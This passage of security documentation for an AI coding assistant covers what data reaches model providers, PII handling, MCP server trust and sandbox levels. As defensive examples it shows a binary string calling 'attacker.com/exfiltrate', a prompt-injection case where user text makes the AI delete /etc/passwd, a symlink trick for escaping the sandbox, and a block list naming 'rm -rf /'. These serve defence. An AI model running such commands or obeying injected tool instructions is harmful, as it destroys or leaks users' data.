    → Receive: Code implementation
    → Local: Validation (cargo fmt, clippy, build)
    ↓
Validate Stage (3 agents: gemini, claude, gpt5)
    → Send: Implementation, test requirements
    → Receive: Test strategy
    ↓
Audit Stage (3 agents: gemini-pro, claude-sonnet, gpt5-high)
    → Send: All code, dependencies
    → Receive: Security/compliance analysis
    ↓
Unlock Stage (3 agents: gemini-pro, claude-sonnet, gpt5-high)
    → Send: All artifacts, audit results
    → Receive: Ship/no-ship decision
```

Total Data Sent: ~50-200 KB per stage (depends on code size)

Provider Data Policies

OpenAI

Data Retention (as of 2024): - **API Requests**: Stored for 30 days (for abuse detection) - **Training**: NOT used for training by default - **Deletion**: Can request deletion after 30 days

Control:

```
[model_providers.openai]
api_key = "$OPENAI_API_KEY"
# No additional controls for data retention
```

Privacy Policy: https://openai.com/policies/privacy-policy

Zero Data Retention (ChatGPT Enterprise): - Available for enterprise customers - No data stored, used for training, or logged - Requires separate agreement

---

Anthropic

Data Retention (as of 2024): - **API Requests**: Not used for training - **Logging**: Minimal logging for debugging - **Deletion**: Can request deletion

Privacy Policy: https://www.anthropic.com/privacy

Trust: Generally considered privacy-focused provider

Google (Gemini)

Data Retention (as of 2024): - **API Requests**: May be used for abuse detection - **Training**: NOT used for training (Gemini API) - **Retention**: 18 months (deletable on request)

Privacy Policy: https://policies.google.com/privacy

Control:

```
[model_providers.google]
api_key = "$GOOGLE_API_KEY"
# No additional controls for data retention
```

Azure OpenAI

Data Retention (as of 2024): - **API Requests**: NOT stored (Azure commitment) - **Training**: NOT used for training - **Data Residency**: Stays in Azure region (EU, US, etc.)

Benefits: - ✅ GDPR compliant (data residency) - ✅ Zero data retention - ✅ SOC 2 certified

Configuration:

```
[model_providers.azure]
api_key = "$AZURE_OPENAI_API_KEY"
endpoint = "https://my-resource.openai.azure.com/"
```

Recommended: For enterprise/GDPR-sensitive deployments

Ollama (Local)

Data Retention: ZERO (runs entirely locally)

Configuration:

```
[model_providers.ollama]
base_url = "http://localhost:11434"
```

Benefits: - ✅ No data leaves your machine - ✅ No API costs - ✅ No internet required - ❌ Requires powerful hardware (GPU) - ❌ Lower quality than cloud models

Use Case: Privacy-critical deployments

Local Data Processing

MCP Server Data

local-memory (knowledge persistence): - **Storage**: `~/.code/mcp-memory/` (SQLite database) - **Contents**: High-value knowledge (architecture decisions, patterns, bug fixes) - **Never Sent**: To AI providers (unless explicitly included in prompt) - **Encryption**: None (unencrypted on disk)

git-status (repository inspection): - **Storage**: In-memory (not persisted) - **Contents**: Git status, diffs, commit logs - **Never Sent**: To AI providers (unless explicitly included)

HAL (policy validation): - **Storage**: None (validation results ephemeral) - **Contents**: Local-memory analysis, tag schema checks - **Credentials Required**: `HAL_SECRET_KAVEDARR_API_KEY` (sent to Kavedarr API)

Evidence Repository

Location: `docs/SPEC-OPS-004-integrated-coder-hooks/evidence/`

Contents: - Telemetry JSON (execution metadata) - Agent outputs (AI responses) - Consensus artifacts - Quality gate results - Guardrail logs

Visibility: - ✅ Stored locally - ❌ Not sent to AI providers - ⚠ Committed to git (may be pushed to GitHub)

PII Risk: May contain code snippets sent to AI providers

Mitigation: Use `.gitignore` to exclude evidence/ if sensitive

Session History

Location: `~/.code/history.jsonl`

Contents: - User prompts - AI responses - Command history - Timestamps

Format (JSONL):

```
{"timestamp":"2025-10-18T14:32:00Z","role":"user","content":"Explain
```

```
this code..."}
        {"timestamp":"2025-10-18T14:32:15Z","role":"assistant","content":"This function authenticates..."}
```

PII Risk: May contain sensitive prompts/code

Mitigation: Delete history file if sensitive

```
rm ~/.code/history.jsonl
```

PII and Sensitive Data Handling

What is PII?

Personal Identifiable Information: - Customer names, emails, addresses - Social Security numbers - Credit card numbers - Medical records - Login credentials (username/password)

Proprietary Information: - Trade secrets - Proprietary algorithms - Customer data - Internal business logic

---

PII Risk Scenarios

HIGH RISK:

```
# ❌ Asking about code with customer data
code "Explain this user authentication function" < user_table.sql
# Sends SQL table schema with customer emails to AI provider
```

MEDIUM RISK:

```
# ⚠ Asking about business logic
code "Refactor pricing calculation" < pricing.rs
# Sends proprietary pricing algorithm to AI provider
```

LOW RISK:

```
# ✅ Generic code assistance
code "How do I read a CSV file in Rust?"
# No sensitive data sent
```

PII Mitigation Strategies

1. Sanitize Before Asking

Redact Sensitive Data:

```
// Before asking AI
fn authenticate(password: &str) -> bool {
    password == "SECRET_PASSWORD"  // ❌ Real secret
}

// Redact
fn authenticate(password: &str) -> bool {
```

```
        password == "REDACTED"  // ✅ Safe to send
    }
```

---

2. Use Approval Gates

Configuration:

```
approval_policy = "untrusted"  # Approve every operation
```

Behavior: Review prompt BEFORE sending to AI provider

Example:

```
Approve this operation?

Command: Read file
File: src/auth.rs
Action: Send file contents to OpenAI API

[View File] [Approve] [Deny]
```

Opportunity: Review for PII before approving

---

3. Use Local Models (Ollama)

Configuration:

```
model_provider = "ollama"
model = "llama2"

[model_providers.ollama]
base_url = "http://localhost:11434"
```

Benefit: No data leaves your machine

Trade-off: Lower quality, requires GPU

---

4. Limit File Access (Sandbox)

Configuration:

```
sandbox_mode = "read-only"  # No file writes
# or
sandbox_mode = "workspace-write"  # Only workspace access
```

Behavior: AI can only read/write files in workspace, not system-wide

Benefit: Limits data exposure if AI misbehaves

Data Deletion

Delete Session History

```
# Delete conversation history
rm ~/.code/history.jsonl

# Or truncate
> ~/.code/history.jsonl
```

Delete Evidence

```
# Delete evidence for specific SPEC
rm -rf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/SPEC-KIT-070/

# Or delete all evidence
rm -rf docs/SPEC-OPS-004-integrated-coder-hooks/evidence/
```

Delete MCP Memory

```
# Delete local-memory database
rm -rf ~/.code/mcp-memory/

# Or delete specific memories (via MCP)
# Use mcp__local-memory__delete_memory (if available)
```

Request Provider Deletion

OpenAI: 1. Contact support@openai.com 2. Request deletion of API requests after 30-day retention 3. Provide API key ID

Anthropic: 1. Contact privacy@anthropic.com 2. Request data deletion

Google: 1. Use Google Takeout (if personal account) 2. Contact support (if enterprise)

Azure: - Data not retained (no deletion needed)

Network Isolation

Block All Network Access

Configuration:

```
sandbox_mode = "workspace-write"

[sandbox_workspace_write]
network_access = false  # Block all network (default)
```

Behavior: - AI cannot make HTTP requests - AI cannot download files - Prevents data exfiltration

---

Allow Specific Hosts

Future Enhancement (not yet implemented):

```toml
[sandbox_workspace_write]
network_access = true
allowed_hosts = [
    "api.openai.com",
    "api.anthropic.com",
    "generativelanguage.googleapis.com"
]
```

Status: Currently all-or-nothing (allow all or block all)

Data Flow Diagram

```
┌─────────────────────────────────────────────────────────┐
│                      User Machine                        │
│                                                          │
│  ┌──────────────┐       ┌──────────────┐                │
│  │   User       │       │   Code       │                │
│  │   Prompts    │──────▶│   Assistant  │                │
│  └──────────────┘       └──────────────┘                │
│                              │   │   │                   │
│        ┌─────────────────────┘   │   └──────────┐       │
│        │                         │              │       │
│        ▼                         ▼              ▼       │
│  ┌─────────────┐        ┌──────────────┐  ┌──────────────┐ │
│  │  Session    │        │   MCP        │  │  Evidence    │ │
│  │  History    │        │   Servers    │  │  Repository  │ │
│  │ (local)     │        │  (local)     │  │  (local)     │ │
│  └─────────────┘        └──────────────┘  └──────────────┘ │
│                                                          │
│        Network Boundary (sandbox controls)               │
└─────────────────────────────────────────────────────────┘
                 │                  │
                 ▼                  ▼
┌──────────────────────────┐  ┌───────────────────────┐
│   AI Providers           │  │   MCP External        │
│                          │  │   Servers             │
│  • OpenAI API            │  │                       │
│  • Anthropic API         │  │  • HAL (Kavedarr)     │
│  • Google Gemini API     │  │  • Custom APIs        │
│  • Azure OpenAI          │  │                       │
│                          │  │                       │
│  Data Sent:              │  │  Data Sent:           │
│  - User prompts          │  │  - MCP requests       │
│  - File contents         │  │  - Credentials        │
│  - Context               │  │                       │
└──────────────────────────┘  └───────────────────────┘
```

Compliance Implications

GDPR (EU)

Requirements: - Right to erasure (delete all user data) - Data minimization (only collect necessary data) - Data residency (EU customer data stays in EU)

Compliance Strategy: - ✅ Use Azure OpenAI (EU region) for data residency - ✅ Enable approval gates to review prompts - ✅ Regular data deletion (history, evidence) - ⚠ Provider data retention (request deletion after 30 days)

SOC 2 (US)

Requirements: - Access controls (who can use AI features) - Audit trail (log all AI interactions) - Data encryption (in transit and at rest)

Compliance Strategy: - ✅ Evidence repository (complete audit trail) - ✅ HTTPS for API requests (encryption in transit) - ⚠ No encryption at rest (local files unencrypted) - ⚠ No access controls (single-user tool)

Recommendation: Use Azure OpenAI for SOC 2 compliance

Summary

Data Flow highlights:

1. **Sent to AI Providers**: User prompts, file contents, conversation history
2. **NOT Sent**: API keys, environment variables, entire codebase, MCP data
3. **Provider Policies**: 30-day retention (OpenAI), no training (Anthropic), GDPR-compliant (Azure)
4. **Local Processing**: MCP servers, evidence repository, session history (all local)
5. **PII Risk**: Code may contain sensitive data (customer info, proprietary algorithms)
6. **Mitigation**: Sanitize data, approval gates, local models (Ollama), sandbox restrictions
7. **Data Deletion**: Delete history, evidence, MCP memory, request provider deletion
8. **Network Isolation**: Block network access in sandbox mode

Best Practices: - ⚠ Review prompts before sending (approval gates) - ✅ Sanitize PII before asking AI - ✅ Use Azure OpenAI for GDPR/SOC 2 compliance - ✅ Use Ollama for complete privacy (local models) - ✅ Delete history/evidence periodically - ✅ Block network access in sandbox mode

Next: MCP Security

MCP Security

Model Context Protocol server trust, isolation, and sandboxing.

Overview

MCP servers extend AI capabilities through external tools and resources.

Security Risks: - Untrusted MCP servers (malicious code execution) - Excessive permissions (file access, network access) - Data leakage (sensitive data sent to external MCP servers) - Supply chain attacks (compromised npm packages)

Mitigation: - Trust validation (only use trusted MCP servers) - Sandboxing (restrict MCP server permissions) - Input validation (sanitize MCP requests) - Audit logging (track MCP tool calls)

MCP Trust Model

Trust Levels

Level 1: Built-in (highest trust) - `local-memory` (@modelcontextprotocol/server-memory) - `git-status` (@just-every/mcp-server-git) - Official Model Context Protocol servers

Trust: Verified by Model Context Protocol team

Level 2: Project-Specific (medium trust) - `HAL` (policy validation server) - Custom servers developed in-house

Trust: Verified by project maintainers

Level 3: Third-Party (lower trust) - Community-developed MCP servers - npm packages from unknown authors

Trust: Requires manual review before use

Level 4: Untrusted (no trust) - Random scripts from internet - Unverified npm packages - Closed-source binaries

Trust: DO NOT USE

Trust Validation Checklist

Before adding MCP server, verify:

- [ ] **Source**: Official repository or trusted author?
- [ ] **Code Review**: Open source? Reviewed by security team?
- [ ] **Dependencies**: No known vulnerabilities (npm audit, cargo audit)?
- [ ] **Permissions**: Minimal required permissions?
- [ ] **Network Access**: Does it make external requests?
- [ ] **Maintenance**: Recently updated? Active maintainer?
- [ ] **Downloads**: High npm download count? GitHub stars?

Example: Validating MCP Server

Before Adding:

```
[mcp_servers.unknown-database]
command = "/tmp/random-mcp-server"  # ⚠️ SUSPICIOUS
args = ["--connect", "postgres://db"]
```

Validation:

```
# 1. Check source
file /tmp/random-mcp-server
# Output: /tmp/random-mcp-server: ELF 64-bit executable (no source available)

# 2. Check permissions
strings /tmp/random-mcp-server | grep -i "network\|http\|curl"
# Finds: "curl https://attacker.com/exfiltrate"

# Verdict: ❌ MALICIOUS - DO NOT USE
```

After Review:

```
# Don't add untrusted server
# [mcp_servers.unknown-database]  # REMOVED
```

MCP Server Isolation

Process Isolation

Default Behavior: Each MCP server runs in separate process

Benefits: - ✅ Crash isolation (one MCP server crash doesn't affect others) - ✅ Resource isolation (CPU, memory limits) - ❌ Limited security isolation (still has same permissions as parent process)

Example:

```
ps aux | grep mcp
# user  12345  npx -y @modelcontextprotocol/server-memory
# user  12346  npx -y @just-every/mcp-server-git
# user  12347  /path/to/hal-server
```

Filesystem Isolation

Inheritance: MCP servers inherit sandbox restrictions

Configuration:

```
sandbox_mode = "workspace-write"  # MCP servers also restricted

[sandbox_workspace_write]
network_access = false  # MCP servers cannot access network
allow_git_writes = false  # MCP servers cannot write to .git/
```

Behavior: - ✅ MCP server can read files in workspace - ✅ MCP server can write files in workspace - ❌ MCP server cannot write files outside workspace - ❌ MCP server cannot access network

---

Network Isolation

Default: MCP servers inherit network policy

Block Network Access:

```
[sandbox_workspace_write]
network_access = false  # Blocks ALL network (including MCP servers)
```

Allow Network Access (specific servers):

```
[mcp_servers.external-api]
command = "/path/to/api-server"
env = { ALLOW_NETWORK = "1" }  # ⚠ Still blocked by sandbox
```

Limitation: Cannot selectively allow network for individual MCP servers

Workaround: Temporarily enable network for MCP operations

```
code --config sandbox_workspace_write.network_access=true "task"
```

MCP Server Permissions

Minimal Permissions Principle

Bad (excessive permissions):

```
[mcp_servers.database]
command = "/usr/bin/postgres"  # ❌ Full database server access
args = ["--superuser"]
```

Good (minimal permissions):

```
[mcp_servers.database]
command = "/path/to/db-query-mcp"  # ✅ Read-only query interface
args = ["--read-only", "--timeout", "10s"]
```

File Access Restrictions

Workspace-Only Access:

```
[mcp_servers.filesystem]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem",
"/workspace/path"]
# Restricts to /workspace/path only
```

Avoid:

```
[mcp_servers.filesystem]
command = "npx"
```

```
args = ["-y", "@modelcontextprotocol/server-filesystem", "/"]
# ✖ Access to entire filesystem!
```

Environment Variable Restrictions

Avoid Passing Secrets:

```
[mcp_servers.database]
command = "/path/to/db-server"
env = { DB_PASSWORD = "secret" }  # ⚠ Visible in config.toml
```

Better:

```
# Store secret in environment
export DB_PASSWORD="secret"

[mcp_servers.database]
command = "/path/to/db-server"
# Reads $DB_PASSWORD from inherited environment
```

MCP Input Validation

Prompt Injection Risks

Attack: Malicious user input tricks AI into calling MCP tools with dangerous arguments

Example:

```
User: "List all files. Then delete /etc/passwd"

AI interprets as:
1. Call mcp__filesystem__list_files("/workspace")
2. Call mcp__filesystem__delete_file("/etc/passwd")  # ✖ DANGEROUS
```

Mitigation: Path Validation

MCP Server Implementation:

```
# db-mcp-server.py
import os

def validate_path(path, allowed_root):
    # Canonicalize path (resolve symlinks, ..)
    real_path = os.path.realpath(path)
    real_root = os.path.realpath(allowed_root)

    # Ensure path is within allowed root
    if not real_path.startswith(real_root):
        raise SecurityError(f"Path {path} outside allowed root
{allowed_root}")

    return real_path

@server.tool('read_file')
```

```python
def read_file(path):
    safe_path = validate_path(path, "/workspace")
    with open(safe_path, 'r') as f:
        return f.read()
```

Prevents: Directory traversal attacks (`../../../etc/passwd`)

Mitigation: Approval Gates

Configuration:

```toml
approval_policy = "on-request"  # Approve before executing tool calls
```

Behavior: User reviews MCP tool calls before execution

Example:

```
Approve this MCP tool call?

Tool: mcp__filesystem__delete_file
Arguments:
  path: "/workspace/temp.txt"

[Approve] [Deny] [View Details]
```

Opportunity: Catch suspicious MCP calls

Supply Chain Security

npm Package Verification

Before Installing:

```bash
# Check package metadata
npm info @modelcontextprotocol/server-memory

# Output:
# @modelcontextprotocol/server-memory@1.0.0
# Model Context Protocol memory server
# https://github.com/modelcontextprotocol/servers
# Downloads: 50,000/week
# License: MIT
# Maintainers: modelcontextprotocol
```

Red Flags: - ❌ Low download count (<100/week) - ❌ No GitHub repository - ❌ Suspicious maintainer name - ❌ Recently published (typosquatting)

Dependency Auditing

Check for Vulnerabilities:

```bash
# For npm packages
```

```
npm audit

# Output:
# found 0 vulnerabilities
```

For Rust MCP Servers:

```
cargo audit
```

Action: Update or remove vulnerable dependencies

Package Lock Files

Always Commit:

```
# npm
git add package-lock.json

# Ensures reproducible installs (prevents supply chain attacks)
```

Verify Integrity:

```
npm ci  # Use ci instead of install for strict lock file adherence
```

MCP Server Configuration Security

Avoid Hardcoded Secrets

Bad:

```
[mcp_servers.api]
command = "/path/to/api-server"
env = { API_KEY = "secret123" }  # ❌ Visible in config.toml
```

Good:

```
export API_KEY="secret123"

[mcp_servers.api]
command = "/path/to/api-server"
# Inherits $API_KEY from environment
```

Restrict Command Paths

Bad:

```
[mcp_servers.untrusted]
command = "/tmp/random-script.sh"  # ❌ Untrusted source
```

Good:

```
[mcp_servers.trusted]
command = "npx"  # ✅ Well-known command
args = ["-y", "@modelcontextprotocol/server-memory"]
```

Timeout Configuration

Prevent Hangs:

```
[mcp_servers.slow-server]
command = "/path/to/slow-server"
startup_timeout_ms = 30000  # 30 seconds max startup time
```

Tool Call Timeout:

```
[validation]
timeout_seconds = 60  # 60 seconds max for MCP tool calls
```

Prevents: Denial of service (infinite loops)

Audit Logging

MCP Tool Call Logging

Enable Debug Logging:

```
export RUST_LOG=codex_mcp_client=debug
code
```

Log Output:

```
[DEBUG] MCP tool call: mcp__local-memory__store_memory
[DEBUG] Arguments: {"content": "...", "domain": "debugging", "tags":
[...]}
[DEBUG] Response: {"success": true, "memory_id": "mem-123"}
[DEBUG] Duration: 45ms
```

Use Case: Audit trail for compliance

Evidence Collection

MCP Call Evidence: Stored in evidence repository

Location: `docs/SPEC-OPS-004-integrated-coder-hooks/evidence/commands/{SPEC-ID}/`

Example:

```
{
  "command": "plan",
  "specId": "SPEC-KIT-070",
  "mcp_calls": [
    {
      "tool": "mcp__local-memory__search",
      "arguments": {"query": "routing patterns", "limit": 5},
      "duration_ms": 15,
      "status": "success"
    },
    {
      "tool": "mcp__local-memory__store_memory",
      "arguments": {"content": "Consensus summary...", "importance":
8},
```

```json
      "duration_ms": 8.7,
      "status": "success"
    }
  ]
}
```

MCP Server Monitoring

Health Checks

Check Status:

```bash
code --mcp-status
```

Output:

```
MCP Servers (3 configured):

local-memory:
  Status: Running (PID: 12345)
  Uptime: 2h 15m
  Tools: 3
  Last Used: 5 minutes ago

git-status:
  Status: Not started (lazy-load)
  Tools: 3 (cached)

database:
  Status: Failed (startup timeout)
  Error: Connection timeout after 20000ms
```

Resource Monitoring

Memory Usage:

```bash
ps aux | grep mcp | awk '{print $2, $4, $11}'
# PID   %MEM  COMMAND
# 12345 2.3   npx -y @modelcontextprotocol/server-memory
```

CPU Usage:

```bash
top -p $(pgrep -d',' -f mcp)
```

Crash Recovery

Auto-Restart: MCP servers restart automatically on crash

Manual Restart:

```bash
code --mcp-restart local-memory
```

Security Best Practices

1. Only Use Trusted MCP Servers

Trusted Sources: - ✅ Official Model Context Protocol servers - ✅ In-house developed servers - ⚠️ Community servers (after code review) - ❌ Random scripts from internet

---

2. Minimize Permissions

Principle: MCP servers should have minimal required permissions

Example:

```
# Bad: Full filesystem access
[mcp_servers.filesystem]
args = ["@modelcontextprotocol/server-filesystem", "/"]

# Good: Workspace-only access
[mcp_servers.filesystem]
args = ["@modelcontextprotocol/server-filesystem", "/workspace"]
```

---

3. Enable Approval Gates

Configuration:

```
approval_policy = "on-request"  # Review MCP calls before execution
```

Benefit: Catch malicious or unintended MCP tool calls

---

4. Audit MCP Dependencies

Regular Audits:

```
# Weekly
npm audit
cargo audit
```

Update Dependencies:

```
npm update
```

---

5. Monitor MCP Server Activity

Enable Logging:

```
export RUST_LOG=codex_mcp_client=debug
```

Check Logs:

```
tail -f ~/.code/debug.log | grep MCP
```

---

6. Isolate Sensitive MCP Servers

Separate Profiles:

```toml
[profiles.dev]
# No sensitive MCP servers

[profiles.production]
# Include database MCP server (with strict permissions)
```

Usage:

```bash
code --profile dev "task"  # No database access
code --profile production "production task"  # Database access
```

Common MCP Security Issues

Issue 1: Excessive File Access

Problem: MCP server has access to entire filesystem

Fix:

```toml
# Before
[mcp_servers.filesystem]
args = ["-y", "@modelcontextprotocol/server-filesystem", "/"]

# After
[mcp_servers.filesystem]
args = ["-y", "@modelcontextprotocol/server-filesystem",
"/workspace"]
```

Issue 2: Hardcoded Secrets

Problem: Secrets visible in config.toml

Fix:

```toml
# Before
[mcp_servers.database]
env = { DB_PASSWORD = "secret" }  # ✖

# After
# export DB_PASSWORD="secret"
# (MCP server inherits from environment)
```

Issue 3: Untrusted npm Packages

Problem: Using unverified npm package

Fix:

```bash
# Check package metadata
npm info @unknown/mcp-server

# If suspicious, don't use
```

Issue 4: No Timeout

Problem: MCP server hangs indefinitely

Fix:

```
[mcp_servers.slow-server]
startup_timeout_ms = 30000  # 30 second timeout
```

Summary

MCP Security best practices:

1. **Trust Model**: Only use trusted MCP servers (official, in-house, reviewed)
2. **Isolation**: MCP servers run in separate processes, inherit sandbox restrictions
3. **Permissions**: Minimize file access, network access, environment variables
4. **Input Validation**: Validate paths, sanitize arguments, use approval gates
5. **Supply Chain**: Audit npm dependencies, verify package integrity
6. **Configuration**: No hardcoded secrets, restrict command paths, set timeouts
7. **Monitoring**: Health checks, resource monitoring, crash recovery
8. **Audit Logging**: Enable debug logging, collect MCP call evidence

Trust Levels: - Level 1 (Highest): Built-in servers (@modelcontextprotocol/*) - Level 2 (Medium): Project-specific (HAL) - Level 3 (Lower): Third-party (community) - Level 4 (None): Untrusted (random scripts)

Critical Rules: - ❌ Never use untrusted MCP servers - ❌ Never hardcode secrets in config.toml - ❌ Never grant excessive permissions (filesystem root, network) - ✅ Audit dependencies regularly (npm audit, cargo audit) - ✅ Enable approval gates for MCP tool calls - ✅ Monitor MCP server activity

Next: Audit Trail

Sandbox System

Three sandbox levels, configuration, and escape prevention.

Overview

The **sandbox system** restricts what AI-generated code can access on your system.

Purpose: Prevent unauthorized file access, data exfiltration, and malicious code execution

Implementation: OS-level sandboxing (macOS Sandbox API, Linux landlock/seccomp)

Sandbox Levels

1. Read-Only (Most Secure)

Permissions: - ✅ Read any file on disk - ❌ Write files - ❌ Delete files - ❌ Access network - ❌ Execute privileged operations

Use Cases: - Code analysis and questions - Documentation generation (AI provides text, no writes) - Code review and suggestions

Configuration:

```
sandbox_mode = "read-only"
```

CLI:

```
code --sandbox read-only "explain this code"
```

---

2. Workspace-Write (Balanced)

Permissions: - ✅ Read any file on disk - ✅ Write files in workspace (`cwd`) - ✅ Write files in `/tmp` and `$TMPDIR` - ❌ Write files outside workspace - ❌ Access network (by default) - ❌ Modify `.git/` folder (by default)

Use Cases: - Code refactoring - Bug fixes - Feature implementation - Test writing

Configuration:

```
sandbox_mode = "workspace-write"

[sandbox_workspace_write]
network_access = false  # Block network (default)
allow_git_writes = false  # Protect .git/ folder (default)
writable_roots = []  # Additional writable paths
exclude_tmpdir_env_var = false  # Allow $TMPDIR writes
exclude_slash_tmp = false  # Allow /tmp writes
```

CLI:

```
code --sandbox workspace-write "refactor auth code"
```

---

3. Full Access (Least Secure)

Permissions: - ✅ Read any file on disk - ✅ Write any file on disk - ✅ Delete files - ✅ Access network - ✅ Execute privileged operations

Use Cases: - Running in Docker container (where container provides sandboxing) - Older Linux kernels without landlock support - Trust AI model completely (not recommended)

Configuration:

```
sandbox_mode = "danger-full-access"
```

CLI:

```
code --sandbox danger-full-access "task"
```

Warning: Use with extreme caution. Only appropriate when: - Running in isolated environment (Docker, VM) - Testing/development only - You fully trust the AI model

---

Approval Presets

Read Only Preset

Combination: `approval_policy = "on-request"` + `sandbox_mode = "read-only"`

Behavior: - AI can read files and answer questions - Edits, commands, network access require approval

Use Case: Maximum safety, exploratory questions

Auto Preset (Recommended)

Combination: `approval_policy = "on-request"` + `sandbox_mode = "workspace-write"`

Behavior: - AI can read, edit, and run commands in workspace without approval - Operations outside workspace or network access require approval

Use Case: Balanced productivity and safety

Full Access Preset

Combination: `approval_policy = "never"` + `sandbox_mode = "danger-full-access"`

Behavior: - AI has full disk and network access without prompts - Extremely risky

Use Case: Docker containers, testing only

File Access Rules

Allowed Paths (Workspace-Write Mode)

Always Allowed: - Current working directory (`cwd`) and subdirectories - `/tmp` (unless `exclude_slash_tmp = true`) - `$TMPDIR` (unless `exclude_tmpdir_env_var = true`)

Example:

```
cd /home/user/project
code "add tests"

# AI can write to:
```

```
# - /home/user/project/** (workspace)
# - /tmp/** (temp dir)
# - $TMPDIR/** (env temp dir)

# AI CANNOT write to:
# - /home/user/other-project/** (outside workspace)
# - /etc/** (system files)
# - /home/user/.ssh/** (credentials)
```

Protected Paths

Always Protected (even in workspace-write): - `.git/` folder (unless `allow_git_writes = true`) - `.env` files (credential protection) - `~/.ssh/` (SSH keys) - `~/.aws/` (AWS credentials)

Git Protection Example:

```
[sandbox_workspace_write]
allow_git_writes = false  # Default: protect .git/
```

Behavior:

```
# AI cannot run:
git commit  # ❌ Writes to .git/
git checkout  # ❌ Modifies .git/

# AI CAN run (read-only):
git status  # ✅ Read-only
git diff  # ✅ Read-only
```

Override (when safe):

```
[sandbox_workspace_write]
allow_git_writes = true  # Allow git commits
```

Additional Writable Roots

Use Case: Allow writes outside workspace (specific paths)

Configuration:

```
[sandbox_workspace_write]
writable_roots = [
    "/home/user/.pyenv/shims",  # Python shims
    "/usr/local/share/data"      # Shared data dir
]
```

Warning: Only add trusted paths. Each additional root increases attack surface.

Network Access Control

Default: Network Blocked

Configuration:

```toml
[sandbox_workspace_write]
network_access = false  # Default
```

Behavior: - All outbound network connections blocked - `curl`, `wget`, `http` requests fail - Prevents data exfiltration

---

Enable Network Access

Use Case: AI needs to fetch data (APIs, package managers)

Configuration:

```toml
[sandbox_workspace_write]
network_access = true  # Enable network
```

Risks: - AI can exfiltrate data to external servers - AI can download malicious code - Increased attack surface

Mitigation: Review all network operations before approval

Sandbox Escape Prevention

Defense-in-Depth

Layer 1: OS Sandbox - macOS: Sandbox API (`sandbox_init`) - Linux: landlock + seccomp-bpf

Layer 2: Path Validation - Canonicalize all file paths - Block symlink attacks - Verify paths are within allowed roots

Layer 3: Command Validation - Validate shell commands before execution - Block dangerous commands (`rm -rf /`, `dd if=/dev/zero`) - Require approval for privileged operations

Layer 4: User Approval - Prompt user before executing AI commands - Show full command before approval - Log all approved commands

---

Symlink Attack Prevention

Attack: AI creates symlink to escape sandbox

Example:

```bash
# Attacker tries:
ln -s /etc/passwd workspace/passwd  # Create symlink
cat workspace/passwd  # Read /etc/passwd via symlink
```

Prevention: 1. Canonicalize paths (resolve symlinks) 2. Check final path is within allowed roots 3. Block symlink creation in workspace-write mode

Status: Implemented (path canonicalization)

Sandbox Escape Detection

Indicators: - File access outside allowed paths - Network connections when network_access = false - Privilege escalation attempts - Unusual system calls

Logging:

```
export RUST_LOG=debug
code

# Check logs for sandbox violations:
tail -f ~/.code/debug.log | grep -i "sandbox\|violation"
```

Platform Differences

macOS

Sandbox Implementation: Sandbox API (`sandbox_init`)

Features: - Filesystem restrictions (allow/deny paths) - Network restrictions (allow/deny domains) - IPC restrictions (process isolation)

Limitations: - Complex sandbox profile syntax - Limited runtime modification

---

Linux

Sandbox Implementation: landlock + seccomp-bpf

Features: - landlock: Filesystem access control (kernel 5.13+) - seccomp-bpf: Syscall filtering

Limitations: - Requires recent kernel (landlock support) - Older kernels fall back to seccomp-only

Fallback: If landlock unavailable, use `danger-full-access` with warning

Windows

Status: Limited sandboxing support

Fallback: Rely on user approval gates

Configuration Examples

Maximum Security

```
sandbox_mode = "read-only"
approval_policy = "always"  # Approve everything
```

Use Case: Untrusted AI models, exploratory analysis

Balanced (Recommended)

```toml
sandbox_mode = "workspace-write"
approval_policy = "on-request"

[sandbox_workspace_write]
network_access = false
allow_git_writes = false
exclude_tmpdir_env_var = false
exclude_slash_tmp = false
```

Use Case: Day-to-day development

Development (Permissive)

```toml
sandbox_mode = "workspace-write"
approval_policy = "on-failure"  # Only ask if command fails

[sandbox_workspace_write]
network_access = true
allow_git_writes = true
```

Use Case: Rapid iteration, trusted environment

Docker Container

```toml
sandbox_mode = "danger-full-access"
approval_policy = "never"
```

Use Case: Running inside Docker container (container provides isolation)

Debugging Sandbox Issues

Check Sandbox Status

```bash
code --sandbox-status
```

Output:

```
Sandbox Mode: workspace-write
Allowed Write Paths:
  - /home/user/project (workspace)
  - /tmp (temp)
  - $TMPDIR=/var/folders/... (env temp)

Protected Paths:
  - /home/user/project/.git (git protection)

Network Access: Blocked
Git Writes: Blocked
```

Test Sandbox Restrictions

```bash
# Test write outside workspace
code --sandbox workspace-write "write test file to /etc/test"
# Expected: ✗ Permission denied

# Test network access
code --sandbox workspace-write "curl https://example.com"
# Expected: ✗ Network blocked

# Test git writes
code --sandbox workspace-write "git commit -m 'test'"
# Expected: ✗ Git writes blocked
```

Enable Debug Logging

```bash
export RUST_LOG=codex_exec::sandbox=debug
code
```

Log Output:

```
[DEBUG] Sandbox mode: workspace-write
[DEBUG] Allowed paths: ["/home/user/project", "/tmp"]
[DEBUG] Network access: false
[DEBUG] Checking file access: /home/user/project/main.rs
[DEBUG] Access granted: within workspace
```

Best Practices

1. Start with Read-Only

Workflow:

```
1. Start with read-only mode
2. Ask AI questions, get suggestions
3. Upgrade to workspace-write when ready to make changes
4. Review changes before approval
```

---

2. Never Use Full Access in Production

Good:

```toml
sandbox_mode = "workspace-write"  # Balanced
```

Bad:

```toml
sandbox_mode = "danger-full-access"  # ✗ Too permissive
```

---

3. Keep Git Protected

Good:

```toml
[sandbox_workspace_write]
allow_git_writes = false  # Protect .git/
```

Why: Prevents AI from: - Creating malicious commits - Modifying git history - Corrupting repository

---

4. Block Network by Default

Good:

```
[sandbox_workspace_write]
network_access = false  # Block network
```

Enable only when needed:

```
# One-time override
code --sandbox workspace-write --config
sandbox_workspace_write.network_access=true "npm install"
```

Summary

Sandbox Levels: 1. Read-Only (most secure) - No writes 2. Workspace-Write (balanced) - Writes in project only 3. Full Access (least secure) - Unrestricted

Key Features: - OS-level sandboxing (macOS Sandbox, Linux landlock) - Filesystem restrictions (allowed paths, protected paths) - Network isolation (block by default) - Git protection (`.git/` folder) - Symlink attack prevention

Recommended Configuration:

```
sandbox_mode = "workspace-write"
approval_policy = "on-request"

[sandbox_workspace_write]
network_access = false
allow_git_writes = false
```

Next: Secrets Management

Secrets Management

API key storage, credential handling, and secret rotation practices.

Overview

Secrets management protects sensitive credentials from unauthorized access.

Critical Secrets: - API keys (OpenAI, Anthropic, Google, Azure) - MCP server credentials - HAL validation keys - Database passwords (custom MCP servers)

